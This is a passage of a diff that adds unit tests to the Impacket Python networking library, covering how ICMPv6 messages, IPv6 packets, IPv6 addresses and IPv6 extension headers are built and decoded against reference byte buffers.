+                               [0x01, 0x04, 0x21, 0xA6, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x01, 0x05, 0x21, 0xA5, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x01, 0x06, 0x21, 0xA4, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x03, 0x00, 0x1F, 0xAA, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],#Time exceeded
+                               [0x03, 0x01, 0x1F, 0xA9, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x56, 0x88],
+                               [0x02, 0x00, 0x1B, 0x96, 0x00, 0x00, 0x05, 0x14, 0xFE, 0x56, 0x88]#Packet too big
+                               ]
+        
+    def encapsulate_icmp6_packet_in_ip6_packet(self, icmp6_packet):    
+        #Build IP6 reference packet (which will be used to construct the pseudo-header and checksum)
+        ip6_packet = IP6.IP6()
+        ip6_packet.set_traffic_class(0)
+        ip6_packet.set_flow_label(0)
+        ip6_packet.set_hop_limit(1)
+        ip6_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        ip6_packet.set_ip_dst("FF02::1")
+    
+        #Encapsulate ICMP6 packet in IP6 packet, calculate the checksum using the pseudo-header        
+        ip6_packet.contains(icmp6_packet)
+        ip6_packet.set_next_header(ip6_packet.child().get_ip_protocol_number())
+        ip6_packet.set_payload_length(ip6_packet.child().get_size())
+        icmp6_packet.calculate_checksum()
+        return ip6_packet
+        
+    def compare_icmp6_packet_with_reference_buffer(self, icmp6_packet, reference_buffer, test_fail_message):
+        #Encapsulate the packet, in order to compute the checksum
+        ip6_packet = self.encapsulate_icmp6_packet_in_ip6_packet(icmp6_packet)
+        
+        #Extract the header and payload bytes
+        icmp6_header_buffer = ip6_packet.child().get_bytes().tolist()
+        icmp6_payload_buffer = icmp6_packet.child().get_bytes().tolist()
+        generated_buffer = icmp6_header_buffer + icmp6_payload_buffer
+        
+        self.assertEqual(generated_buffer, reference_buffer, test_fail_message)
+        
+    def generate_icmp6_constructed_packets(self):
+        packet_list = []
+        
+        arbitrary_data = [0xFE, 0x56, 0x88]
+        echo_id = 1
+        echo_sequence_number = 2
+        icmp6_packet = ICMP6.ICMP6.Echo_Request(echo_id, echo_sequence_number, arbitrary_data)
+        packet_list.append(icmp6_packet)                
+        icmp6_packet = ICMP6.ICMP6.Echo_Reply(echo_id, echo_sequence_number, arbitrary_data)                
+        packet_list.append(icmp6_packet)        
+
+        originating_packet_data = arbitrary_data        
+        for code in range(0, 3):
+            problem_pointer = 2
+            icmp6_packet = ICMP6.ICMP6.Parameter_Problem(code, problem_pointer, originating_packet_data)                
+            packet_list.append(icmp6_packet)        
+
+        for code in range(0, 7):
+            icmp6_packet = ICMP6.ICMP6.Destination_Unreachable(code, originating_packet_data)                
+            packet_list.append(icmp6_packet)        
+            
+        for code in range(0, 2):
+            icmp6_packet = ICMP6.ICMP6.Time_Exceeded(code, originating_packet_data)                
+            packet_list.append(icmp6_packet)        
+        
+        icmp6_packet = ICMP6.ICMP6.Packet_Too_Big(1300, originating_packet_data)                
+        packet_list.append(icmp6_packet)        
+        return packet_list
+
+
+        
+    def test_message_construction(self):
+        for packet, reference, msg in zip(self.packet_list, self.reference_data_list, self.message_description_list):
+            self.compare_icmp6_packet_with_reference_buffer(packet, reference, "ICMP6 creation of " + msg + " - Buffer mismatch")
+            
+    def test_message_decoding(self):                    
+        d = ImpactDecoder.ICMP6Decoder()
+        
+        msg_types = [
+                     ICMP6.ICMP6.ECHO_REQUEST,
+                     ICMP6.ICMP6.ECHO_REPLY,
+                     ICMP6.ICMP6.PARAMETER_PROBLEM,
+                     ICMP6.ICMP6.PARAMETER_PROBLEM,
+                     ICMP6.ICMP6.PARAMETER_PROBLEM,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.DESTINATION_UNREACHABLE,
+                     ICMP6.ICMP6.TIME_EXCEEDED,
+                     ICMP6.ICMP6.TIME_EXCEEDED,
+                     ICMP6.ICMP6.PACKET_TOO_BIG
+                     ]
+        
+        msg_codes = [
+                    0,
+                    0,                    
+                    ICMP6.ICMP6.ERRONEOUS_HEADER_FIELD_ENCOUNTERED,
+                    ICMP6.ICMP6.UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED,
+                    ICMP6.ICMP6.UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED,
+                    ICMP6.ICMP6.NO_ROUTE_TO_DESTINATION,
+                    ICMP6.ICMP6.ADMINISTRATIVELY_PROHIBITED,
+                    ICMP6.ICMP6.BEYOND_SCOPE_OF_SOURCE_ADDRESS,
+                    ICMP6.ICMP6.ADDRESS_UNREACHABLE,
+                    ICMP6.ICMP6.PORT_UNREACHABLE,
+                    ICMP6.ICMP6.SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY,
+                    ICMP6.ICMP6.REJECT_ROUTE_TO_DESTINATION,    
+                    ICMP6.ICMP6.HOP_LIMIT_EXCEEDED_IN_TRANSIT,
+                    ICMP6.ICMP6.FRAGMENT_REASSEMBLY_TIME_EXCEEDED,
+                    0
+                    ]
+        
+        for i in range (0, len(self.reference_data_list)):
+            p = d.decode(self.reference_data_list[i])
+            self.assertEqual(p.get_type(), msg_types[i], self.message_description_list[i] + " - Msg type mismatch")
+            self.assertEqual(p.get_code(), msg_codes[i], self.message_description_list[i] + " - Msg code mismatch")
+            
+            if i in range(0, 2):
+                self.assertEqual(p.get_echo_id(), 1, self.message_description_list[i] + " - ID mismatch")
+                self.assertEqual(p.get_echo_sequence_number(), 2, self.message_description_list[i] + " - Sequence number mismatch")
+                self.assertEqual(p.get_echo_arbitrary_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Arbitrary data mismatch")
+            if i in range(2, 5):
+                self.assertEqual(p.get_parm_problem_pointer(), 2, self.message_description_list[i] + " - Pointer mismatch")
+            if i in range(5, 15):
+                self.assertEqual(p.get_originating_packet_data().tolist(), [0xFE, 0x56, 0x88], self.message_description_list[i] + " - Originating packet data mismatch")
+            if i in range(14, 15):
+                self.assertEqual(p.get_mtu(), 1300, self.message_description_list[i] + " - MTU mismatch")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_IP6.py b/tests/ImpactPacket/test_IP6.py
new file mode 100644
index 0000000..7547827
--- /dev/null
+++ b/tests/ImpactPacket/test_IP6.py
@@ -0,0 +1,74 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket import IP6, ImpactDecoder
+
+
+class TestIP6(unittest.TestCase):
+        
+    def setUp(self):
+        #Version 6, traffic class 72, flow label 148997, payload length 1500
+        #next header 17 (UDP), hop limit 1
+        #source addr FE80::78F8:89D1:30FF:256B
+        #dest addr FF02::1:3
+        self.binary_packet = [ 
+                   0x64, 0x82, 0x46, 0x05, 
+                   0x05, 0xdc, 0x11, 0x01, 
+                   0xfe, 0x80, 0x00, 0x00, 
+                   0x00, 0x00, 0x00, 0x00, 
+                   0x78, 0xf8, 0x89, 0xd1,
+                   0x30, 0xff, 0x25, 0x6b, 
+                   0xff, 0x02, 0x00, 0x00, 
+                   0x00, 0x00, 0x00, 0x00, 
+                   0x00, 0x00, 0x00, 0x00, 
+                   0x00, 0x01, 0x00, 0x03]
+        
+    def test_decoding(self):
+        '''Test IP6 Packet decoding.'''
+        
+
+        d = ImpactDecoder.IP6Decoder()        
+        parsed_packet = d.decode(self.binary_packet)
+        
+        protocol_version = parsed_packet.get_ip_v()
+        traffic_class = parsed_packet.get_traffic_class()
+        flow_label = parsed_packet.get_flow_label()
+        payload_length = parsed_packet.get_payload_length()
+        next_header = parsed_packet.get_next_header()
+        hop_limit = parsed_packet.get_hop_limit()
+        source_address = parsed_packet.get_ip_src()
+        destination_address = parsed_packet.get_ip_dst()
+        
+        self.assertEqual(protocol_version, 6, "IP6 parsing - Incorrect protocol version")
+        self.assertEqual(traffic_class, 72, "IP6 parsing - Incorrect traffic class")
+        self.assertEqual(flow_label, 148997, "IP6 parsing - Incorrect flow label")
+        self.assertEqual(payload_length, 1500, "IP6 parsing - Incorrect payload length")
+        self.assertEqual(next_header, 17, "IP6 parsing - Incorrect next header")
+        self.assertEqual(hop_limit, 1, "IP6 parsing - Incorrect hop limit")
+        self.assertEqual(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address")
+        self.assertEqual(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address")
+        
+    def test_creation(self):
+        '''Test IP6 Packet creation.'''
+        
+        crafted_packet = IP6.IP6()
+        crafted_packet.set_traffic_class(72)
+        crafted_packet.set_flow_label(148997)
+        crafted_packet.set_payload_length(1500)
+        crafted_packet.set_next_header(17)
+        crafted_packet.set_hop_limit(1)
+        crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        crafted_packet.set_ip_dst("FF02::1:3")
+        crafted_buffer = crafted_packet.get_bytes().tolist()
+        self.assertEqual(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch")
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_IP6_Address.py b/tests/ImpactPacket/test_IP6_Address.py
new file mode 100644
index 0000000..8cb6cbb
--- /dev/null
+++ b/tests/ImpactPacket/test_IP6_Address.py
@@ -0,0 +1,146 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket import IP6_Address
+
+
+class TestIP6_Address(unittest.TestCase):
+
+    def runTest(self):
+        pass
+
+    def test_construction(self):
+        """Test IP6 Address construction"""
+        normal_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD"
+        normal_binary_address = [0xFE, 0x80, 0x12, 0x34,
+                                 0x56, 0x78, 0xAB, 0xCD,
+                                 0xEF, 0x01, 0x23, 0x45,
+                                 0x67, 0x89, 0xAB, 0xCD]
+
+        oversized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD:1234"
+        oversized_binary_address = [0xFE, 0x80, 0x12, 0x34,
+                                    0x56, 0x78, 0xAB, 0xCD,
+                                    0xEF, 0x01, 0x23, 0x45,
+                                    0x67, 0x89, 0xAB, 0xCD, 0x00]
+
+        subsized_text_address = "FE80:1234:5678:ABCD:EF01:2345:6789"
+        subsized_binary_address = [0xFE, 0x80, 0x12, 0x34,
+                                   0x56, 0x78, 0xAB, 0xCD,
+                                   0xEF, 0x01, 0x23, 0x45,
+                                   0x67, 0x89, 0xAB]
+
+        malformed_text_address_1 = "FE80:123456788:ABCD:EF01:2345:6789:ABCD"
+        malformed_text_address_2 = "ZXYW:1234:5678:ABCD:EF01:2345:6789:ABCD"
+        malformed_text_address_3 = "FFFFFF:1234:5678:ABCD:EF01:2345:67:ABCD"
+        empty_text_address = ""
+        empty_binary_address = []
+
+        self.assertTrue(IP6_Address.IP6_Address(normal_text_address),
+                        "IP6 address construction with normal text address failed")
+        self.assertTrue(IP6_Address.IP6_Address(normal_binary_address),
+                        "IP6 address construction with normal binary address failed")
+
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          oversized_text_address)  # , "IP6 address construction with oversized text address incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          oversized_binary_address)  # , "IP6 address construction with oversized binary address incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          subsized_text_address)  # , "IP6 address construction with subsized text address incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          subsized_binary_address)  # , "IP6 address construction with subsized binary address incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          malformed_text_address_1)  # , "IP6 address construction with malformed text address (#1) incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          malformed_text_address_2)  # , "IP6 address construction with malformed text address (#2) incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          malformed_text_address_3)  # , "IP6 address construction with malformed text address (#3) incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          empty_text_address)  # , "IP6 address construction with empty text address incorrectly succeeded")
+        self.assertRaises(Exception, IP6_Address.IP6_Address,
+                          empty_binary_address)  # , "IP6 address construction with empty binary address incorrectly succeeded")
+
+    def test_unicode_representation(self):
+        """Test IP6 Unicode text representations"""
+        unicode_normal_text_address = u'FE80:1234:5678:ABCD:EF01:2345:6789:ABCD'
+
+        self.assertTrue(IP6_Address.IP6_Address(unicode_normal_text_address),
+                        "IP6 address construction with UNICODE normal text address failed")
+
+    def test_conversions(self):
+        """Test IP6 Address conversions."""
+        text_address = "FE80:1234:5678:ABCD:EF01:2345:6789:ABCD"
+        binary_address = [0xFE, 0x80, 0x12, 0x34,
+                          0x56, 0x78, 0xAB, 0xCD,
+                          0xEF, 0x01, 0x23, 0x45,
+                          0x67, 0x89, 0xAB, 0xCD]
+        self.assertEqual(IP6_Address.IP6_Address(text_address).as_string(), text_address,
+                         "IP6 address conversion text -> text failed")
+        self.assertEqual(IP6_Address.IP6_Address(binary_address).as_bytes(), binary_address,
+                         "IP6 address conversion binary -> binary failed")
+        self.assertEqual(IP6_Address.IP6_Address(binary_address).as_string(), text_address,
+                         "IP6 address conversion binary -> text failed")
+        self.assertEqual(IP6_Address.IP6_Address(text_address).as_bytes().tolist(), binary_address,
+                         "IP6 address conversion text -> binary failed")
+
+    def test_compressions(self):
+        """Test IP6 Address compressions."""
+        compressed_addresses = ["::",
+                                "1::",
+                                "::1",
+                                "1::2",
+                                "1::1:2:3",
+                                "FE80:234:567:4::1"
+                                ]
+        full_addresses = ["0000:0000:0000:0000:0000:0000:0000:0000",
+                          "0001:0000:0000:0000:0000:0000:0000:0000",
+                          "0000:0000:0000:0000:0000:0000:0000:0001",
+                          "0001:0000:0000:0000:0000:0000:0000:0002",
+                          "0001:0000:0000:0000:0000:0001:0002:0003",
+                          "FE80:0234:0567:0004:0000:0000:0000:0001"
+                          ]
+
+        for f, c in zip(full_addresses, compressed_addresses):
+            self.assertEqual(IP6_Address.IP6_Address(f).as_string(), c,
+                             "IP6 address compression failed with full address: " + f)
+            self.assertEqual(IP6_Address.IP6_Address(c).as_string(False), f,
+                             "IP6 address compression failed with compressed address:" + c)
+
+    def test_scoped_addresses(self):
+        """Test scoped addresses."""
+        numeric_scoped_address = "FE80::1234:1%12"
+        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).as_string(), numeric_scoped_address,
+                         "Numeric scoped address conversion failed on address: " + numeric_scoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_scope_id(), "12",
+                         "Numeric scope ID fetch failed on address: " + numeric_scoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(numeric_scoped_address).get_unscoped_address(), "FE80::1234:1",
+                         "Get unscoped address failed on address: " + numeric_scoped_address)
+
+        unscoped_address = "1::4:1"
+        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).as_string(), unscoped_address,
+                         "Unscoped address conversion failed on address: " + unscoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_scope_id(), "",
+                         "Unscoped address scope ID fetch failed on address: " + unscoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(unscoped_address).get_unscoped_address(), unscoped_address,
+                         "Get unscoped address failed on address: " + unscoped_address)
+
+        text_scoped_address = "FE80::1234:1%BLAH"
+        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).as_string(), text_scoped_address,
+                         "Text scoped address conversion failed on address: " + text_scoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_scope_id(), "BLAH",
+                         "Text scope ID fetch failed on address: " + text_scoped_address)
+        self.assertEqual(IP6_Address.IP6_Address(text_scoped_address).get_unscoped_address(), "FE80::1234:1",
+                         "Get unscoped address failed on address: " + text_scoped_address)
+
+        empty_scoped_address = "FE80::1234:1%"
+        self.assertRaises(Exception, IP6_Address.IP6_Address, empty_scoped_address)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/ImpactPacket/test_IP6_Extension_Headers.py b/tests/ImpactPacket/test_IP6_Extension_Headers.py
new file mode 100644
index 0000000..da27dbc
--- /dev/null
+++ b/tests/ImpactPacket/test_IP6_Extension_Headers.py
@@ -0,0 +1,615 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+from __future__ import division
+from __future__ import print_function
+import unittest
+from six import PY2
+
+from impacket import IP6, ImpactDecoder, IP6_Extension_Headers
+
+
+class TestIP6(unittest.TestCase):
+    def string_to_list(self, bytes):
+        if PY2:
+            return list(map(ord, list(bytes)))
+        else:
+            return list(bytes)
+
+    def test_create_simple_hop_by_hop(self):
+        hop_by_hop_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]
+
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
+        hop_by_hop.set_next_header(58)
+
+        self.assertEqual(
+            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, 
+            "Simple Hop By Hop Header creation - Buffer mismatch")
+        
+        self.assertEqual(
+            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
+            "Simple Hop By Hop Header creation - Size mismatch")
+    
+    def test_simple_hop_by_hop_contained_in_ipv6(self):
+        ipv6_binary_packet = [ 
+               0x64, 0x82, 0x46, 0x05, 
+               0x05, 0xdc, 0x00, 0x01, 
+               0xfe, 0x80, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x78, 0xf8, 0x89, 0xd1,
+               0x30, 0xff, 0x25, 0x6b, 
+               0xff, 0x02, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x01, 0x00, 0x03]
+        
+        hop_by_hop_binary_packet = [
+               0x3a, 0x00, 0x01, 0x04,
+               0x00, 0x00, 0x00, 0x00]
+
+        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet
+        
+        ip6_packet = IP6.IP6()
+        ip6_packet.set_traffic_class(72)
+        ip6_packet.set_flow_label(148997)
+        ip6_packet.set_payload_length(1500)
+        ip6_packet.set_next_header(17)
+        ip6_packet.set_hop_limit(1)
+        ip6_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        ip6_packet.set_ip_dst("FF02::1:3")
+        
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
+        hop_by_hop.set_next_header(58)
+
+        ip6_packet.contains(hop_by_hop)
+
+        self.assertEqual(
+            self.string_to_list(ip6_packet.get_packet()), binary_packet, 
+            "IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch")
+
+        self.assertEqual(
+            ip6_packet.get_size(), len(binary_packet),
+            "IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch")
+
+    def test_add_option_to_hop_by_hop(self):
+        hop_by_hop_binary_packet = [
+            0x3a, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
+        hop_by_hop.set_next_header(58)
+        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
+
+        self.assertEqual(
+            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, 
+            "Add Option to Hop By Hop Header - Buffer mismatch")
+
+        self.assertEqual(
+            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
+            "Add Option to Hop By Hop Header - Size mismatch")
+
+    def test_pad_hop_by_hop_when_adding_option(self):
+        hop_by_hop_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
+        hop_by_hop.set_next_header(58)
+        hop_by_hop.add_option(IP6_Extension_Headers.Option_PAD1())
+
+        self.assertEqual(
+            self.string_to_list(hop_by_hop.get_packet()), hop_by_hop_binary_packet, 
+            "Pad Hop By Hop Header when adding option - Buffer mismatch")
+
+        self.assertEqual(
+            hop_by_hop.get_size(), len(hop_by_hop_binary_packet),
+            "Pad Hop By Hop Header when adding option - Size mismatch")
+
+    def test_create_simple_dest_opts(self):
+        dest_opts_binary_packet = [0x3a, 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00]
+
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.set_next_header(58)
+        
+        self.assertEqual(
+            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, 
+            "Simple Destination Options Header creation - Buffer mismatch")
+
+        self.assertEqual(
+            dest_opts.get_size(), len(dest_opts_binary_packet),
+            "Simple Destination Options Header creation - Size mismatch")
+
+    def test_simple_dest_opts_contained_in_ipv6(self):
+        ipv6_binary_packet = [ 
+               0x64, 0x82, 0x46, 0x05, 
+               0x05, 0xdc, 0x3c, 0x01, 
+               0xfe, 0x80, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x78, 0xf8, 0x89, 0xd1,
+               0x30, 0xff, 0x25, 0x6b, 
+               0xff, 0x02, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x01, 0x00, 0x03]
+        
+        dest_opts_binary_packet = [
+               0x3a, 0x00, 0x01, 0x04,
+               0x00, 0x00, 0x00, 0x00]
+
+        binary_packet = ipv6_binary_packet + dest_opts_binary_packet
+        
+        ip6_packet = IP6.IP6()
+        ip6_packet.set_traffic_class(72)
+        ip6_packet.set_flow_label(148997)
+        ip6_packet.set_payload_length(1500)
+        ip6_packet.set_next_header(17)
+        ip6_packet.set_hop_limit(1)
+        ip6_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        ip6_packet.set_ip_dst("FF02::1:3")
+        
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.set_next_header(58)
+
+        ip6_packet.contains(dest_opts)
+
+        self.assertEqual(
+            self.string_to_list(ip6_packet.get_packet()), binary_packet, 
+            "IP6 Destination Options Header contained in IPv6 Header - Buffer mismatch")
+
+        self.assertEqual(
+            ip6_packet.get_size(), len(binary_packet),
+            "IP6 Destination Options Header contained in IPv6 Header - Size mismatch")
+
+    def test_add_option_to_dest_opts(self):
+        dest_opts_binary_packet = [
+            0x3a, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.set_next_header(58)
+        dest_opts.add_option(IP6_Extension_Headers.Option_PADN(14))
+
+        self.assertEqual(
+            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, 
+            "Add Option to Destination Options Header - Buffer mismatch")
+
+        self.assertEqual(
+            dest_opts.get_size(), len(dest_opts_binary_packet),
+            "Add Option to Destination Options Header - Size mismatch")
+
+    def test_pad_dest_opts_when_adding_option(self):
+        dest_opts_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.set_next_header(58)
+        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
+
+        self.assertEqual(
+            self.string_to_list(dest_opts.get_packet()), dest_opts_binary_packet, 
+            "Pad Destination Options Header when adding option - Buffer mismatch")
+
+        self.assertEqual(
+            dest_opts.get_size(), len(dest_opts_binary_packet),
+            "Pad Destination Options Header when adding option - Size mismatch")
+
+    def test_create_simple_routing_options(self):
+        routing_options_binary_packet = [0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+
+        routing_options = IP6_Extension_Headers.Routing_Options()
+        routing_options.set_next_header(58)
+        
+        self.assertEqual(
+            self.string_to_list(routing_options.get_packet()), routing_options_binary_packet, 
+            "Simple Routing Options Header creation - Buffer mismatch")
+        
+        self.assertEqual(
+            routing_options.get_size(), len(routing_options_binary_packet),
+            "Simple Routing Options Header creation - Size mismatch")
+    
+    def test_simple_routing_options_contained_in_ipv6(self):
+        ipv6_binary_packet = [ 
+               0x64, 0x82, 0x46, 0x05, 
+               0x05, 0xdc, 0x2b, 0x01, 
+               0xfe, 0x80, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x78, 0xf8, 0x89, 0xd1,
+               0x30, 0xff, 0x25, 0x6b, 
+               0xff, 0x02, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x00, 0x00, 0x00, 
+               0x00, 0x01, 0x00, 0x03]
+        
+        routing_options_binary_packet = [
+               0x3a, 0x00, 0x00, 0x0a,
+               0x00, 0x00, 0x00, 0x00]
+
+        binary_packet = ipv6_binary_packet + routing_options_binary_packet
+        
+        ip6_packet = IP6.IP6()
+        ip6_packet.set_traffic_class(72)
+        ip6_packet.set_flow_label(148997)
+        ip6_packet.set_payload_length(1500)
+        ip6_packet.set_next_header(17)
+        ip6_packet.set_hop_limit(1)
+        ip6_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        ip6_packet.set_ip_dst("FF02::1:3")
+        
+        routing_options = IP6_Extension_Headers.Routing_Options()
+        routing_options.set_next_header(58)
+        routing_options.set_routing_type(0)
+        routing_options.set_segments_left(10)
+
+        ip6_packet.contains(routing_options)
+
+        self.assertEqual(
+            self.string_to_list(ip6_packet.get_packet()), binary_packet, 
+            "IP6 Hop By Hop Header contained in IPv6 Header - Buffer mismatch")
+
+        self.assertEqual(
+            ip6_packet.get_size(), len(binary_packet),
+            "IP6 Hop By Hop Header contained in IPv6 Header - Size mismatch")
+
+    def test_chained_basic_options(self):
+        dest_opts_binary_packet = [
+            0x2b, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+
+        routing_options_binary_packet = [
+           0x00, 0x00, 0x00, 0x0a,
+           0x00, 0x00, 0x00, 0x00]
+
+        hop_by_hop_binary_packet = [
+            0x3a, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+
+        binary_packet = dest_opts_binary_packet + routing_options_binary_packet + hop_by_hop_binary_packet
+
+        dest_opts = IP6_Extension_Headers.Destination_Options()
+        dest_opts.add_option(IP6_Extension_Headers.Option_PAD1())
+
+        routing_options = IP6_Extension_Headers.Routing_Options()
+        routing_options.set_next_header(58)
+        routing_options.set_routing_type(0)
+        routing_options.set_segments_left(10)
+
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
+        hop_by_hop.add_option(IP6_Extension_Headers.Option_PADN(14))
+        
+        dest_opts.contains(routing_options)
+        routing_options.contains(hop_by_hop)
+        hop_by_hop.set_next_header(58)
+
+        self.assertEqual(
+            self.string_to_list(dest_opts.get_packet()), binary_packet, 
+            "Chained options - Buffer mismatch")
+
+        self.assertEqual(
+            dest_opts.get_size(), len(binary_packet),
+            "Chained options - Size mismatch")
+
+    def test_chained_basic_options_inside_ipv6_packet(self):
+        ipv6_binary_packet = [ 
+           0x64, 0x82, 0x46, 0x05, 
+           0x05, 0xdc, 0x00, 0x01, 
+           0xfe, 0x80, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x78, 0xf8, 0x89, 0xd1,
+           0x30, 0xff, 0x25, 0x6b, 
+           0xff, 0x02, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x00, 0x00, 0x00, 0x00, 
+           0x00, 0x01, 0x00, 0x03]
+        
+        hop_by_hop_binary_packet = [
+            0x2b, 0x01, 0x01, 0x0C,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00,
+            0x00, 0x00, 0x00, 0x00]
+
+        routing_options_binary_packet = [
+           0x3c, 0x00, 0x00, 0x0a,
+           0x00, 0x00, 0x00, 0x00]
+
+        dest_opts_binary_packet = [
+            0x3a, 0x00, 0x00, 0x01,
+            0x03, 0x00, 0x00, 0x00]
+
+        binary_packet = ipv6_binary_packet + hop_by_hop_binary_packet + routing_options_binary_packet + dest_opts_binary_packet
+        
+        ip6_packet = IP6.IP6()
+        ip6_packet.set_traffic_class(72)
+        ip6_packet.set_flow_label(148997)
+        ip6_packet.set_payload_length(1500)
+        ip6_packet.set_next_header(17)
+        ip6_packet.set_hop_limit(1)
+        ip6_packet.set_ip_src("FE80::78F8:89D1:30FF:256B")
+        ip6_packet.set_ip_dst("FF02::1:3")
+        
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop()
